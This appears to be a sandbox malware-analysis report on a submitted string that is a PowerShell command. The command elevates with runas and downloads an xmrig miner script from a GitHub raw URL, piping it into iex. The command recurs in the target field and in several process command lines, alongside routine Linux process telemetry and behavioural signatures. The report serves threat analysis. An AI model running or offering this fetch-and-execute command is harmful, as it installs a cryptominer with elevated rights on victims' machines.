Analysis

  • max time kernel
    299s
  • max time network
    301s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    16/07/2024, 05:34

General

  • Target

    http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Score
6/10

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Changes its process name 64 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 8 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /usr/bin/xdg-open
    xdg-open "http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
    1⤵
      PID:1409
      • /usr/bin/dbus-send
        dbus-send --print-reply "--dest=org.freedesktop.DBus" /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
        2⤵
          PID:1410
          • /usr/bin/dbus-launch
            dbus-launch --autolaunch 4816dd152e8c48ff97e9117d197c13d8 --binary-syntax --close-stderr
            3⤵
              PID:1411
              • /usr/bin/dbus-daemon
                /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
                4⤵
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:1413
                • /usr/libexec/xdg-desktop-portal
                  /usr/libexec/xdg-desktop-portal
                  5⤵
                  • Reads runtime system information
                  PID:1583
                • /usr/libexec/xdg-document-portal
                  /usr/libexec/xdg-document-portal
                  5⤵
                    PID:1589
                  • /usr/libexec/xdg-permission-store
                    /usr/libexec/xdg-permission-store
                    5⤵
                    • Reads runtime system information
                    PID:1593
                  • /usr/libexec/xdg-desktop-portal-gtk
                    /usr/libexec/xdg-desktop-portal-gtk
                    5⤵
                    • Reads runtime system information
                    PID:1605
                  • /usr/libexec/gvfsd
                    /usr/libexec/gvfsd
                    5⤵
                      PID:1609
                      • /usr/libexec/gvfsd-trash
                        /usr/libexec/gvfsd-trash --spawner :1.8 /org/gtk/gvfs/exec_spaw/0
                        6⤵
                        • Reads runtime system information
                        PID:1642
                    • /usr/libexec/dconf-service
                      /usr/libexec/dconf-service
                      5⤵
                      • Reads runtime system information
                      PID:1633
                    • /usr/bin/nautilus
                      /usr/bin/nautilus --gapplication-service
                      5⤵
                      • Reads CPU attributes
                      PID:1638
                    • /usr/bin/gnome-keyring-daemon
                      /usr/bin/gnome-keyring-daemon --start --foreground "--components=secrets"
                      5⤵
                      • Reads runtime system information
                      PID:2134
                    • /usr/libexec/gvfs-udisks2-volume-monitor
                      /usr/libexec/gvfs-udisks2-volume-monitor
                      5⤵
                      • Reads runtime system information
                      PID:2145
                    • /usr/libexec/gvfs-afc-volume-monitor
                      /usr/libexec/gvfs-afc-volume-monitor
                      5⤵
                      • Reads runtime system information
                      PID:2151
                    • /usr/libexec/gvfs-mtp-volume-monitor
                      /usr/libexec/gvfs-mtp-volume-monitor
                      5⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:2157
                    • /usr/libexec/gvfs-gphoto2-volume-monitor
                      /usr/libexec/gvfs-gphoto2-volume-monitor
                      5⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:2162
                    • /usr/libexec/gvfs-goa-volume-monitor
                      /usr/libexec/gvfs-goa-volume-monitor
                      5⤵
                        PID:2169
                      • /usr/libexec/goa-daemon
                        /usr/libexec/goa-daemon
                        5⤵
                          PID:2173
                        • /usr/libexec/goa-identity-service
                          /usr/libexec/goa-identity-service
                          5⤵
                            PID:2180
                    • /usr/bin/grep
                      grep " = \\\"xfce4\\\"\$"
                      2⤵
                        PID:1426
                      • /usr/bin/xprop
                        xprop -root _DT_SAVE_MODE
                        2⤵
                          PID:1425
                        • /usr/bin/grep
                          grep -i "^xfce_desktop_window"
                          2⤵
                            PID:1428
                          • /usr/bin/xprop
                            xprop -root
                            2⤵
                              PID:1427
                            • /usr/bin/grep
                              grep -q "^Enlightenment"
                              2⤵
                                PID:1430
                              • /usr/bin/uname
                                uname
                                2⤵
                                  PID:1431
                                • /usr/bin/grep
                                  grep -q "^file://"
                                  2⤵
                                    PID:1433
                                  • /usr/bin/egrep
                                    egrep -q "^[[:alpha:]+\\.\\-]+:"
                                    2⤵
                                      PID:1435
                                    • /usr/local/sbin/grep
                                      grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                      2⤵
                                        PID:1435
                                      • /usr/local/bin/grep
                                        grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                        2⤵
                                          PID:1435
                                        • /usr/sbin/grep
                                          grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                          2⤵
                                            PID:1435
                                          • /usr/bin/grep
                                            grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                            2⤵
                                              PID:1435
                                            • /usr/bin/sed
                                              sed -n "s/\\(^[[:alnum:]+\\.-]*\\):.*\$/\\1/p"
                                              2⤵
                                              • Reads runtime system information
                                              PID:1438
                                            • /usr/bin/xdg-mime
                                              xdg-mime query default x-scheme-handler/http
                                              2⤵
                                                PID:1439
                                                • /usr/bin/dbus-send
                                                  dbus-send --print-reply "--dest=org.freedesktop.DBus" /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
                                                  3⤵
                                                  • Reads runtime system information
                                                  PID:1440
                                                  • /usr/bin/dbus-launch
                                                    dbus-launch --autolaunch 4816dd152e8c48ff97e9117d197c13d8 --binary-syntax --close-stderr
                                                    4⤵
                                                      PID:1441
                                                  • /usr/bin/grep
                                                    grep " = \\\"xfce4\\\"\$"
                                                    3⤵
                                                      PID:1443
                                                    • /usr/bin/xprop
                                                      xprop -root _DT_SAVE_MODE
                                                      3⤵
                                                        PID:1442
                                                      • /usr/bin/grep
                                                        grep -i "^xfce_desktop_window"
                                                        3⤵
                                                          PID:1445
                                                        • /usr/bin/xprop
                                                          xprop -root
                                                          3⤵
                                                            PID:1444
                                                          • /usr/bin/grep
                                                            grep -q "^Enlightenment"
                                                            3⤵
                                                              PID:1447
                                                            • /usr/bin/uname
                                                              uname
                                                              3⤵
                                                                PID:1448
                                                              • /usr/bin/sed
                                                                sed "s/:/ /g"
                                                                3⤵
                                                                • Reads runtime system information
                                                                PID:1451
                                                              • /usr/bin/cut
                                                                cut -d ";" -f 1
                                                                3⤵
                                                                  PID:1456
                                                                • /usr/bin/cut
                                                                  cut -d "=" -f 2
                                                                  3⤵
                                                                    PID:1455
                                                                  • /usr/bin/head
                                                                    head -n 1
                                                                    3⤵
                                                                      PID:1454
                                                                    • /usr/bin/grep
                                                                      grep "x-scheme-handler/http=" /.local/share/applications/defaults.list /.local/share/applications/mimeinfo.cache
                                                                      3⤵
                                                                        PID:1453
                                                                      • /usr/bin/cut
                                                                        cut -d ";" -f 1
                                                                        3⤵
                                                                          PID:1461
                                                                        • /usr/bin/cut
                                                                          cut -d "=" -f 2
                                                                          3⤵
                                                                            PID:1460
                                                                          • /usr/bin/head
                                                                            head -n 1
                                                                            3⤵
                                                                              PID:1459
                                                                            • /usr/bin/grep
                                                                              grep "x-scheme-handler/http=" /.local/share/applications/defaults.list /.local/share/applications/mimeinfo.cache
                                                                              3⤵
                                                                                PID:1458
                                                                              • /usr/bin/cut
                                                                                cut -d ";" -f 1
                                                                                3⤵
                                                                                  PID:1466
                                                                                • /usr/bin/cut
                                                                                  cut -d "=" -f 2
                                                                                  3⤵
                                                                                    PID:1465
                                                                                  • /usr/bin/head
                                                                                    head -n 1
                                                                                    3⤵
                                                                                      PID:1464
                                                                                    • /usr/bin/grep
                                                                                      grep "x-scheme-handler/http=" /usr/local/share//applications/defaults.list /usr/local/share//applications/mimeinfo.cache
                                                                                      3⤵
                                                                                        PID:1463
                                                                                      • /usr/bin/cut
                                                                                        cut -d ";" -f 1
                                                                                        3⤵
                                                                                          PID:1471
                                                                                        • /usr/bin/cut
                                                                                          cut -d "=" -f 2
                                                                                          3⤵
                                                                                            PID:1470
                                                                                          • /usr/bin/head
                                                                                            head -n 1
                                                                                            3⤵
                                                                                              PID:1469
                                                                                            • /usr/bin/grep
                                                                                              grep "x-scheme-handler/http=" /usr/local/share//applications/defaults.list /usr/local/share//applications/mimeinfo.cache
                                                                                              3⤵
                                                                                                PID:1468
                                                                                              • /usr/bin/cut
                                                                                                cut -d ";" -f 1
                                                                                                3⤵
                                                                                                  PID:1476
                                                                                                • /usr/bin/cut
                                                                                                  cut -d "=" -f 2
                                                                                                  3⤵
                                                                                                    PID:1475
                                                                                                  • /usr/bin/head
                                                                                                    head -n 1
                                                                                                    3⤵
                                                                                                      PID:1474
                                                                                                    • /usr/bin/grep
                                                                                                      grep "x-scheme-handler/http=" /usr/share//applications/defaults.list /usr/share//applications/mimeinfo.cache
                                                                                                      3⤵
                                                                                                        PID:1473
                                                                                                    • /usr/bin/sed
                                                                                                      sed "s/:/ /g"
                                                                                                      2⤵
                                                                                                      • Reads runtime system information
                                                                                                      PID:1479
                                                                                                    • /usr/bin/sed
                                                                                                      sed -e "s|-|/|"
                                                                                                      2⤵
                                                                                                      • Reads runtime system information
                                                                                                      PID:1482
                                                                                                    • /usr/bin/sed
                                                                                                      sed -e "s|-|/|"
                                                                                                      2⤵
                                                                                                      • Reads runtime system information
                                                                                                      PID:1485
                                                                                                    • /usr/bin/cut
                                                                                                      cut "-d=" -f 2-
                                                                                                      2⤵
                                                                                                        PID:1490
                                                                                                      • /usr/bin/which
                                                                                                        which firefox
                                                                                                        2⤵
                                                                                                          PID:1491
                                                                                                        • /usr/bin/cut
                                                                                                          cut "-d=" -f 2-
                                                                                                          2⤵
                                                                                                            PID:1494
                                                                                                          • /usr/bin/cut
                                                                                                            cut "-d=" -f 2-
                                                                                                            2⤵
                                                                                                              PID:1501
                                                                                                            • /usr/bin/cut
                                                                                                              cut "-d=" -f 2-
                                                                                                              2⤵
                                                                                                                PID:1538
                                                                                                              • /usr/bin/firefox
                                                                                                                /usr/bin/firefox "http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
                                                                                                                2⤵
                                                                                                                  PID:1539
                                                                                                                  • /usr/bin/which
                                                                                                                    which /usr/bin/firefox
                                                                                                                    3⤵
                                                                                                                      PID:1540
                                                                                                                  • /usr/lib/firefox/firefox
                                                                                                                    /usr/lib/firefox/firefox "http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
                                                                                                                    2⤵
                                                                                                                    • Checks CPU configuration
                                                                                                                    • Reads CPU attributes
                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                    • Reads runtime system information
                                                                                                                    • Writes file to tmp directory
                                                                                                                    PID:1539
                                                                                                                    • /usr/local/sbin/dbus-launch
                                                                                                                      dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                      3⤵
                                                                                                                        PID:1544
                                                                                                                      • /usr/local/bin/dbus-launch
                                                                                                                        dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                        3⤵
                                                                                                                          PID:1544
                                                                                                                        • /usr/sbin/dbus-launch
                                                                                                                          dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                          3⤵
                                                                                                                            PID:1544
                                                                                                                          • /usr/bin/dbus-launch
                                                                                                                            dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                            3⤵
                                                                                                                              PID:1544
                                                                                                                            • /usr/lib/firefox/glxtest
                                                                                                                              /usr/lib/firefox/glxtest -f 13
                                                                                                                              3⤵
                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                              PID:1547
                                                                                                                            • /usr/bin/lsb_release
                                                                                                                              /usr/bin/lsb_release -idrc
                                                                                                                              3⤵
                                                                                                                                PID:1559
                                                                                                                              • /usr/local/sbin/dbus-launch
                                                                                                                                dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                3⤵
                                                                                                                                  PID:1569
                                                                                                                                • /usr/local/bin/dbus-launch
                                                                                                                                  dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                  3⤵
                                                                                                                                    PID:1569
                                                                                                                                  • /usr/sbin/dbus-launch
                                                                                                                                    dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                    3⤵
                                                                                                                                      PID:1569
                                                                                                                                    • /usr/bin/dbus-launch
                                                                                                                                      dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                      3⤵
                                                                                                                                        PID:1569
                                                                                                                                      • /usr/lib/firefox/firefox
                                                                                                                                        /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -prefsLen 20597 -prefMapSize 233654 -appDir /usr/lib/firefox/browser "{63307a0a-e8d2-4ae7-b34d-7042cb8aa276}" 1539 true socket
                                                                                                                                        3⤵
                                                                                                                                        • Reads CPU attributes
                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:1581
                                                                                                                                      • /usr/lib/firefox/firefox
                                                                                                                                        /usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 27868 -prefMapSize 233654 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{22408425-3e81-46f5-b355-bdb55694b2a0}" 1539 true tab
                                                                                                                                        3⤵
                                                                                                                                        • Reads CPU attributes
                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:1670
                                                                                                                                      • /usr/lib/firefox/firefox
                                                                                                                                        /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -sandboxingKind 0 -prefsLen 28648 -prefMapSize 233654 -appDir /usr/lib/firefox/browser "{270c998f-98ab-4e22-9579-26691e633ad0}" 1539 true utility
                                                                                                                                        3⤵
                                                                                                                                        • Reads CPU attributes
                                                                                                                                        • Reads runtime system information
                                                                                                                                        PID:1706
                                                                                                                                  • /usr/libexec/gvfsd-fuse
                                                                                                                                    /usr/libexec/gvfsd-fuse /root/.cache/gvfs -f -o big_writes
                                                                                                                                    1⤵
                                                                                                                                    • Reads runtime system information
                                                                                                                                    PID:1616

                                                                                                                                  Network

                                                                                                                                        MITRE ATT&CK Enterprise v15

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